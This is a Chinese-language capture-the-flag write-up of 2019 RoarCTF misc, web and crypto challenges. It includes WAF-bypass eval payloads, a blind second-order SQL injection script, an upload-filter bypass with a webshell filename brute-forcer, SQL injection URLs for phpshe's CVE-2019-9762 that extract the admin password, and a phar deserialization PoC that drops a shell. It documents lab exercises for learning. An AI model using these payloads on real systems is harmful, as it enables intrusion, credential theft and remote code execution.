2019 RoarCTF部分题解WriteUp

2019 RoarCTF部分题解

完整官方题解及源码:https://github.com/berTrAM888/RoarCTF-Writeup-some-Source-Code

复现环境:https://buuoj.cn

题解部分为复现

Misc

签到

RoarCTF{WM-F8oD0cdeUXdHrIUF}

黄金6年

ffmpeg分离mp4文件:

1
ffmpeg -i 1.mp4 -r 60 -f image2 j-%05d.bmp

从分离出来的600多张图中找到四个二维码,分别在四本书上:

(1)c++ : key1:i

(2)白帽子讲Web安全:key2:want

(3)逆向工程:key3:play

(4)活着:key4:ctf

得到四个key

然后winhex打开mp4文件,末尾发现有一串base64加密字符串

解密后得到:

头部信息看出是rar压缩包,保存成rar后

打开flag.txt,解压密码就是四个二维码扫出的四个key拼接后的字符串:iwantplayctf

flag:roarctf{CTF-from-RuMen-to-RuYuan}

Web

easy_calc

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>

除了源码里的waf过滤了,还有中间代理服务器的waf,主要过滤了所有的英文字母和不可见字母,空格,+等

解法1

参考:https://xz.aliyun.com/t/5621

因为全局的waf是针对参数num,如果参入的参数为%20num,就能绕过全局waf,并且PHP接受该参数时会自动删除最前面的空格%20

那么剩下的,就只有php后端的waf了,主要就是过滤了单引号双引号,如果函数传参,用chr函数得出字符即可

payload:

1
2
3
calc.php?%20num=phpinfo()
calc.php?%20num=var_dump(scandir(chr(47)))
calc.php?%20num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))

解法2

HTTP走私,参考:https://paper.seebug.org/1048/?tdsourcetag=s_pcqq_aiomsg#32-cl-cl

数据包中头部构造两个Content-Length,导致中继服务器400错误,绕过waf,php后端则成功接收num参数

online_proxy

打开靶机,是一个代理页面

提示我们可以输入参数url访问外网,第一感觉是ssrf,于是先访问自己vps

从访问包可以看出,后台执行的是file_get_contents函数,又尝试了file://data://php://input

发现全被过滤了,只允许http和https协议,故ssrf思路中断

查看源代码,发现一行注释:

1
2
3
<!-- Debug Info: 
Duration: 0.18316912651062 s
Current Ip: 202.101.138.81 -->

既然跟ip有关,那么加个ip头部试试

发现Current Ip字段被修改成了127.0.0.1,并且出现了Last Ip字段

既然有弹出Last Ip字段,那么就可能有数据库之间的交互,那么,尝试一下是否存在注入

这里也是测试了很久,一直搞不清后台的逻辑,最后是模糊的测试出这样的注入逻辑:

第一次访问,插入注入的payload:X-Forwarded-For:1'/**/and/**/ascii(substr('abc',1,1))=97/**/and/**/'1

第二次访问,插入一个跟第一次不一样的payload:X-Forwarded-For:1'/**/and/**/ascii(substr('abc',1,1))=96/**/and/**/'1

第三次访问,以第二次访问的payload:

发现,在Last Ip字段,显示出了第一次访问插入的payload执行结果:1

根据这个逻辑,写出二次注入的盲注exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
import re

url = "http://pyvditfrroarctf.4hou.com.cn:32523/"
database = "ctf"
table_name = "ip_log"
column_name = "uuid,current_ip,last_ip"
user = "root@localhost"
flag = "526F61724354467B776D2D666138613832343032363034383833327D"

for i in range(50,100):
for j in range(44,128):
s = requests.Session()
#payload = "1'/**/and/**/ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='ip_log'),%d,1))=%d/**/and/**/'1"%(i,j)
payload = "1'/**/and/**/ascii(substr((select/**/hex(load_file('/flag'))),%d,1))=%d/**/and/**/'1"%(i,j)
header = {"X-Forwarded-For":payload}
r1 = s.get(url,headers=header)
payload = "1'/**/and/**/ascii(substr((select/**/hex(load_file('/flag'))),%d,1))=%d/**/and/**/'1"%(i,j+1)
header = {"X-Forwarded-For": payload}
r2 = s.get(url,headers=header)
r3 = s.get(url,headers=header)
last_ip = re.findall('Last Ip: (\d)+',r3.text)[0]
if str(last_ip) == "1":
flag = flag + chr(j)
print(flag)
break

注出

1
2
3
4
5
库:ctf

表:ip_log

列:uuid,current_ip,last_ip

但是似乎没有flag或者什么提示信息,于是想到最近刷的二次注入题,多半都是要利用load_file来读文件,于是,先注了一下user(),发现是root@localhost,那么执行load_file,这里更是碰运气了,直接去读了/flag,没想到还真给读出来了:

1
flag:526F61724354467B776D2D666138613832343032363034383833327D

simple_upload

上传题,基于tp3.2.6框架,自写了indexupload方法

实际上过滤就只有一处:

1
2
3
if (strstr(strtolower($uploadFile['name']), ".php") ) {
return false;
}

过滤了后缀名为php,我们注意到这里过滤的函数是strstr,并且判断条件为真才过滤,所以是可以确定用数组绕过的,先随便上传一个php以外的文件:

成功返回了路径,但是访问会发现,phtml文件里的php代码是无法被正常解析的,所以题目的意思就是只能想办法上传php文件

再用数组绕过对php后缀的过滤:

返回的信息来看,似乎是上传成功,但是不知道为什么没有返回路径

这时候就要来找tp对应的Upload类,路径:ThinkPHP/Library/Think/Upload.class.php

因为整个源码中,只实例化了这个类,所以我们只需要关注$upload->upload()即可

审计后发现,当我们上传一个文件数组时,特别调用了一个对上传文件数组信息处理的方法:dealFiles

跟进这个方法

这个方法逻辑简单来说就是把上传的文件数组每个逐一赋值给$fileArray[$n]

本地测试一下,上传一个文件数组,打印$files

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
array(1) {
["file"]=>
array(5) {
["name"]=>
array(1) {
[0]=>
string(8) "5cmd.php"
}
["type"]=>
array(1) {
[0]=>
string(24) "application/octet-stream"
}
["tmp_name"]=>
array(1) {
[0]=>
string(14) "/tmp/phpCHQfKR"
}
["error"]=>
array(1) {
[0]=>
int(0)
}
["size"]=>
array(1) {
[0]=>
int(20)
}
}
}

然后经过dealFiles函数处理后的结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
array(1) {
[0]=>
array(6) {
["key"]=>
string(4) "file"
["name"]=>
string(8) "5cmd.php"
["type"]=>
string(24) "application/octet-stream"
["tmp_name"]=>
string(14) "/tmp/phpCHQfKR"
["error"]=>
int(0)
["size"]=>
int(20)
}
}

最后上传成功文件数组,返回的是一个$info[0]

而如果上传成功一个文件,index最后回显结果:

1
$info['file']['savepath'].$info['file']['savename']

所以,自然就不会回显出上传后的路径

既然没有回显,就看看文件名是如何生成的:

跟进getSaveName

这里引进了$this->saveName参数,由于实例化Upload类时并没有改变该参数的值,所以为默认的array('uniqid', '')

这个变量对应的其实是一个文件命名的规则,由于不为空,所以getSaveName继续执行getName方法

即文件名是通过uniqid方法产生,然后后缀名为正常上传文件的php

看一下官方文档对uniqid函数的说明

即生成一个基于当前时间的唯一ID,经过观察,发现这个ID每个字符都以0123456789abcdef递增的顺序进行变化

于是想到爆破的方法,思路是先上传个非php文件,得到一个时间ID,再上传一个php文件,最后再传一个非php文件,得到第二个时间ID,那么上传的php文件时间ID就在这两个范围之间,我们就可以进行爆破

这里通过写脚本进行上传,这样能尽量缩小爆破的范围,上传的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests

url = "http://ae52db60-2499-44ae-98af-1c4224089e10.node2.buuoj.cn.wetolink.com:82/index.php?m=home&c=index&a=upload"

files = {
"file":open("D:/file_upload_demo/3cmd.phtml","r")
}
r1 = requests.post(url,files=files)
print(r1.text)

files = {
"file[]":open("D:/file_upload_demo/5cmd.php","r")
}
r2 = requests.post(url,files=files)
print(r2.text)

files = {
"file":open("D:/file_upload_demo/3cmd.phtml","r")
}
r3 = requests.post(url,files=files)
print(r3.text)

执行的结果:

1
2
3
{"url":"\/Public\/Uploads\/2019-10-15\/5da4b6ca60a00.phtml","success":1}
{"url":"\/Public\/Uploads\/","success":1}
{"url":"\/Public\/Uploads\/2019-10-15\/5da4b6ca9cd49.phtml","success":1}

也就是说,php文件名的范围是5da4b6ca60a00~5da4b6ca9cd49之间,即爆破五位数60a00-9cd49

爆破exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests

s = "0123456789abcdef"
for i in range(6,10):
for j in range(0,16):
for k in range(5,16):
for l in range(0,16):
for m in range(0,16):
filename = "5da4b6ca" + hex(i)[2:] + hex(j)[2:] + hex(k)[2:] + hex(l)[2:] + hex(m)[2:]
url = "http://ae52db60-2499-44ae-98af-1c4224089e10.node2.buuoj.cn.wetolink.com:82/Public/Uploads/2019-10-15/%s.php"%filename
r = requests.get(url)
print(str(r.status_code) + ":" + filename)
if r.status_code == 200:
print("------------------------------------------right_filename:"+filename)

因为脚本上传的间隔是近似相等的,所以就先从中间的80000开始爆,爆了大约十五分钟,文件名就爆出来了:5da4b6ca80e7e

访问5da4b6ca80e7e.php,得到flag:

easy_java

源码中有个读取文件的功能:/Download?filename=help.docx

但是读取失败,尝试修改为POST方法,读取成功

tomcat web目录:

尝试读取WEB-INF/web.xml

发现flag文件的路径WEB-INF/classes/com/wm/ctf/FlagController.class

将图像文件base64解码得到flag

phpshe

前台注入

根据CVE-2019-9762 :https://anquan.baidu.com/article/697

前台路径:/include/plugin/payment/alipay/pay.php存在sql注入,并且有回显

漏洞触发点:

回溯参数$gid来源,跟进全局文件common.php

GET传参id后,经过变量覆盖变成变量gid

然后跟进pe_dbhold函数

该函数作用是对传入的参数进行addslashes转义的处理,然后处理后的id参数order_id,首先传入了函数order_table

我们可以发现,在获取表名时,如果id参数中存在字符_,时,会进行截取的操作,由此我们可以控制要查询的表名

然后跟进查询函数pe_select,对传入的where参数array(‘order_id’=>$order_id)又经过了_dowhere函数的处理

经过_dowhere函数处理后,where参数就变成了order_id=’$order_id’

注意到,这边因为order_id已经被单引号包裹了,而前面分析发现我们输入的参数id是有经过addslashes函数的转义处理,所以,我们无法在where后进行注入

但是,因为表名存在_截取,并且表名是没有被单引号包裹的,所以,可以通过表名来进行注入

传入payload:

1
/include/plugin/payment/alipay/pay.php?id=pay`%20where%201=1%20union%20select%201,2,user(),4,5,6,7,8,9,10,11,12%23_

拼接后的sql语句就变成了:

1
select * from `order_pay` where 1=1 union select 1,2,user(),4,5,6,7,8,9,10,11,12#` where `order_id` = 'pay` where 1=1 union select 1,2,user(),4,5,6,7,8,9,10,11,12#_' limit 1

然后就是剩下的正常注入过程了,但是这边因为截取了字符_,我们无法通过information_schema来查表,所以,只能通过不知道列名的情况下进行查询admin密码:

1
/include/plugin/payment/alipay/pay.php?id=pay`%20where%201=1%20union%20select%201,2,((select`3`from(select%201,2,3,4,5,6%20union%20select%20*%20from%20admin)a%20limit%201,1)),4,5,6,7,8,9,10,11,12%23_

获得管理员密码的md5,解密得admin密码:altman777

后台getshell

拿到admin密码后登陆后台,品牌管理处存在一处上传点,测试发现可以上传jpg,txt,zip文件

并且上传后,我们可以知道上传文件的绝对路径:

把题目源码跟官方对应版本的phpshe1.7 diff过了会发现,在/include/class/pclzip.class.php文件中的类PclZip中多出了一个魔术方法:

1
2
3
4
public function __destruct()
{
$this->extract(PCLZIP_OPT_PATH, $this->save_path);
}

粗略的看一下这个类,再结合一下其他代码,就能猜到这里extract作用是解压压缩包的作用

到这里就能差不多猜到需要通过phar反序列化来触发了

反序列化的点在:

1
/admin.php?mod=moban&act=del

通过csrf校验和转义处理后,触发了pe_dirdel函数,跟进一下

看到了触发phar反序列化的关键函数:is_file

所以思路就很明确了:通过moban.php的del功能传入tpl参数,通过is_file函数触发phar反序列化,对之前上传的包含shell的zip文件进行解压缩得到shell

生成phar文件的POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php
class PclZip
{
// ----- Filename of the zip file
var $zipname = '';

// ----- File descriptor of the zip file
var $zip_fd = 0;

// ----- Internal error handling
var $error_code = 1;
var $error_string = '';

// ----- Current status of the magic_quotes_runtime
// This value store the php configuration for magic_quotes
// The class can then disable the magic_quotes and reset it after
var $magic_quotes_status;
var $save_path;

// --------------------------------------------------------------------------------
// Function : PclZip()
// Description :
// Creates a PclZip object and set the name of the associated Zip archive
// filename.
// Note that no real action is taken, if the archive does not exist it is not
// created. Use create() for that.
// --------------------------------------------------------------------------------
function __construct($p_zipname)
{
//--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, 'PclZip::PclZip', "zipname=$p_zipname");

// ----- Tests the zlib


// ----- Set the attributes
$this->zipname = $p_zipname;
$this->zip_fd = 0;
$this->magic_quotes_status = -1;

// ----- Return
//--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, 1);
return;
}
}

$f=new PclZip("/var/www/html/data/attachment/brand/7.zip");
$f->save_path='/var/www/html/data';
echo serialize($f);
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头用以欺骗检测
$phar->setMetadata($f); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();
?>

这里主要设置PclZip类的两个参数,一个是zipname,即我们上传的zip文件绝对路径;另一个参数是save_path,即解压后的路径,这里设置可写的路径data

将生成的phar文件同样的方式上传。抓包修改后缀名为txt,同样得到绝对路径

然后执行payload:

1
2
3
4
5
6
7
8
9
10
GET /admin.php?mod=moban&act=del&token=2272ae99372205cb4cb3dcacfd190685&tpl=phar:///var/www/html/data/attachment/brand/8.txt HTTP/1.1
Host: 3c5b1c6d-7bc1-4b64-96b2-e1ab2b8e66c2.node3.buuoj.cn
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Referer:http://3c5b1c6d-7bc1-4b64-96b2-e1ab2b8e66c2.node3.buuoj.cn/admin.php?mod=moban
Cookie: PHPSESSID=ovd3flre54f5968psdhtufuhc5
Connection: close

这里需要注意要传入参数tokenReferer,来通过csrf的校验,至于为什么,看看源码就知道了:

因为token存储在session中,我们随便抓一个上传文件的包就能得到token值了

最后访问data目录下的shell文件,执行命令获得flag

Crypto

RSA

利用A=(((y%x)5)%(x%y))2019+y**316+(y+1)/x和A的结果求出x,y

将n爆破pq,求z

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import gmpy2

import libnum

n = 117930806043507374325982291823027285148807239117987369609583515353889814856088099671454394340816761242974462268435911765045576377767711593100416932019831889059333166946263184861287975722954992219766493089630810876984781113645362450398009234556085330943125568377741065242183073882558834603430862598066786475299918395341014877416901185392905676043795425126968745185649565106322336954427505104906770493155723995382318346714944184577894150229037758434597242564815299174950147754426950251419204917376517360505024549691723683358170823416757973059354784142601436519500811159036795034676360028928301979780528294114933347127

c = 75186169332770398011618387278278132278790899252552138882799075432380607926731546030253687400295924217369315868839672386616943227315064045460865365296683033483186291570240079759200380250862319608787524113935879604728967164231477966741805601564635364322718438051545168770427777047667842857584346659655292503627681225184738425341914431617445650748762586933275572200060984083928949491872172407901109108320296584642767891651443970128071209300594102046815811229697489154488296004024544579726109722995921635677648742873800015194793794148142345457719541079982444120634269256199324030425798299206933898605904024426172410823

p = 842868045681390934539739959201847552284980179958879667933078453950968566151662147267006293571765463137270594151138695778986165111380428806545593588078365331313084230014618714412959584843421586674162688321942889369912392031882620994944241987153078156389470370195514285850736541078623854327959382156753458569

q = 139916095583110895133596833227506693679306709873174024876891023355860781981175916446323044732913066880786918629089023499311703408489151181886568535621008644997971982182426706592551291084007983387911006261442519635405457077292515085160744169867410973960652081452455371451222265819051559818441257438021073941183

e = 0x10001

d = gmpy2.invert(e,(p-1)*(q-1))

m = pow(c,d,n)

print(libnum.n2s(m))
文章作者: Somnus
文章链接: https://nikoeurus.github.io/2019/10/14/RoarCTF/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Somnus's blog